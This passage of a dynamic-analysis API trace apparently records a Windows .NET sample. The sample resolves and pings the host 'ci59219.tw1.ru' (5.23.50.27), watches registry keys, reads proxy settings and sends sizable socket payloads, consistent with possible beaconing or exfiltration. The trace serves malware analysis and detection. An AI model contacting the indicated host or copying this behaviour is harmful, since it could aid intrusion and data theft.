sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0303.044] FreeAddrInfoW (pAddrInfo=0x1b28af30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218250*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0303.044] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6f90 [0303.044] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa240, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6f90, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x0 [0303.081] LocalFree (hMem=0x1d1e6f90) returned 0x0 [0303.081] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28ba30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2180f0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0303.085] FreeAddrInfoW (pAddrInfo=0x1b28ba30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2180f0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0303.085] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e66f0 [0303.086] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa240, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e66f0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0303.164] LocalFree (hMem=0x1d1e66f0) returned 0x0 Thread: id = 242 os_tid = 0x340 [0188.562] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0188.562] RoInitialize () returned 0x1 [0188.562] RoUninitialize () returned 0x0 [0191.625] CoTaskMemAlloc (cb=0x20c) returned 0x1d0ae400 [0191.625] GetSystemDirectoryW (in: lpBuffer=0x1d0ae400, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0191.625] CoTaskMemFree (pv=0x1d0ae400) [0192.801] QueryPerformanceCounter (in: lpPerformanceCount=0x1e09dcb8 | out: lpPerformanceCount=0x1e09dcb8*=2832069240757) returned 1 [0249.983] QueryPerformanceCounter (in: lpPerformanceCount=0x1e09dcb8 | out: lpPerformanceCount=0x1e09dcb8*=2837787463869) returned 1 [0253.243] QueryPerformanceCounter (in: lpPerformanceCount=0x1e09d958 | out: lpPerformanceCount=0x1e09d958*=2838113435177) returned 1 [0253.244] SetEvent (hEvent=0x2e4) returned 1 [0253.247] GetCurrentProcess () returned 0xffffffffffffffff [0253.247] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1e09d5c8 | out: TokenHandle=0x1e09d5c8*=0xaa8) returned 1 [0253.254] RegNotifyChangeKeyValue (hKey=0x718, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x71c, fAsynchronous=1) returned 0x0 [0253.255] GetCurrentProcess () returned 0xffffffffffffffff [0253.255] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1e09d5c8 | out: TokenHandle=0x1e09d5c8*=0xa7c) returned 1 [0253.255] RegNotifyChangeKeyValue (hKey=0x720, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x724, fAsynchronous=1) returned 0x0 [0253.256] GetCurrentProcess () returned 0xffffffffffffffff [0253.256] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1e09d5c8 | out: TokenHandle=0x1e09d5c8*=0x3c0) returned 1 [0253.256] RegNotifyChangeKeyValue (hKey=0x728, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x72c, fAsynchronous=1) returned 0x0 [0253.257] GetCurrentProcess () returned 0xffffffffffffffff [0253.257] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1e09d568 | out: TokenHandle=0x1e09d568*=0xae0) returned 1 [0253.378] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1e09d520 | out: pProxyConfig=0x1e09d520) returned 1 [0253.403] QueryPerformanceCounter (in: lpPerformanceCount=0x1e09d828 | out: lpPerformanceCount=0x1e09d828*=2838129439835) returned 1 [0253.403] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x818 [0262.874] CloseHandle (hObject=0x818) returned 1 [0262.874] send (s=0x798, buf=0x26948f0*, len=741, flags=0) returned 741 [0262.876] setsockopt (s=0x798, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0262.876] recv (in: s=0x798, buf=0x22f82f0, len=4096, flags=0 | out: buf=0x22f82f0*) returned 161 [0265.899] QueryPerformanceCounter (in: lpPerformanceCount=0x1e09d9d8 | out: lpPerformanceCount=0x1e09d9d8*=2839379026362) returned 1 [0266.044] SetEvent (hEvent=0x2e4) returned 1 [0266.047] select (in: nfds=0, readfds=0x2868278, writefds=0x0, exceptfds=0x0, timeout=0x1e09d888*(tv_sec=0, tv_usec=0) | out: readfds=0x2868278, writefds=0x0, exceptfds=0x0) returned 0 [0266.049] send (s=0x798, buf=0x2868f40*, len=557, flags=0) returned 557 [0266.056] select (in: nfds=0, readfds=0x2869188, writefds=0x0, exceptfds=0x0, timeout=0x1e09d748*(tv_sec=0, tv_usec=350000) | out: readfds=0x2869188, writefds=0x0, exceptfds=0x0) returned 1 [0266.100] setsockopt (s=0x798, level=65535, optname=4102, optval="ùº\r", optlen=4) returned 0 [0266.100] recv (in: s=0x798, buf=0x22f82f0, len=4096, flags=0 | out: buf=0x22f82f0*) returned 25 [0266.114] send (s=0x798, buf=0x128ea7d8*, len=96942, flags=0) returned 96942 [0266.134] recv (in: s=0x798, buf=0x22f82f0, len=4096, flags=0 | out: buf=0x22f82f0*) returned 161 [0269.740] CoUninitialize () Thread: id = 243 os_tid = 0xa98 Thread: id = 245 os_tid = 0x13d4 [0189.839] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0189.839] RoInitialize () returned 0x1 [0189.839] RoUninitialize () returned 0x0 [0189.841] SetConsoleCtrlHandler (HandlerRoutine=0x1adb15cc, Add=1) returned 1 [0189.842] GetModuleHandleW (lpModuleName=0x0) returned 0x4d0000 [0189.842] GetModuleHandleW (lpModuleName=0x0) returned 0x4d0000 [0189.844] GetClassInfoW (in: hInstance=0x4d0000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.392fc8e.0", lpWndClass=0x26d82e8 | out: lpWndClass=0x26d82e8) returned 0 [0189.845] CoTaskMemAlloc (cb=0x58) returned 0x1b25da20 [0189.846] RegisterClassW (lpWndClass=0x1d59dce0) returned 0xc1db [0189.846] CoTaskMemFree (pv=0x1b25da20) [0189.847] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.392fc8e.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.392fc8e.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x4d0000, lpParam=0x0) returned 0x301da [0189.853] NtdllDefWindowProc_W (hWnd=0x301da, Msg=0x81, wParam=0x0, lParam=0x1d59d600) returned 0x1 [0189.857] NtdllDefWindowProc_W (hWnd=0x301da, Msg=0x83, wParam=0x0, lParam=0x1d59d6b0) returned 0x0 [0189.858] NtdllDefWindowProc_W (hWnd=0x301da, Msg=0x1, wParam=0x0, lParam=0x1d59d5a0) returned 0x0 [0189.858] NtdllDefWindowProc_W (hWnd=0x301da, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0189.858] NtdllDefWindowProc_W (hWnd=0x301da, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0189.859] SetEvent (hEvent=0x828) returned 1 [0189.859] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.328] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.656] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0191.057] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0191.703] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.142] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.805] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.445] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.981] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.248] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.643] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.018] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.343] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.627] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.976] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.330] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.642] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.018] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.533] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.911] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.420] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.813] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.354] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.876] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.451] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.976] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.516] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.074] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.605] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.322] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.951] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.465] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.994] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.642] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.199] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.930] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.620] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.168] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.720] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.154] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.728] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.406] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.790] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.198] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.667] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.077] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.718] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.229] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.809] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.164] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.000] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.373] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.804] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.288] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.729] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.288] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.930] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.150] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.628] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.870] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.246] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.574] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.941] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.389] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.869] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.280] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.759] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.360] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.842] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.266] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.516] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.771] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.110] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.622] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.035] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.352] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.712] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.004] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.341] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.561] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.891] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.392] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.776] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.298] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.701] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.150] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.535] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.978] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.340] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.588] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.865] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.129] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.395] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.720] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.051] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.328] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.583] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0232.878] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0233.207] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0233.600] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0234.321] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0234.737] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0235.211] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0235.592] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0235.928] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0236.424] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0236.679] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0237.007] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0237.335] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0237.636] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0237.914] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0238.229] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0238.475] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0238.862] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0239.153] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0239.540] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0239.926] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0240.239] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0240.599] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0241.053] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0241.358] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0241.649] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0242.056] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0242.612] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0242.958] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0243.470] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0244.397] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0244.918] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0245.323] 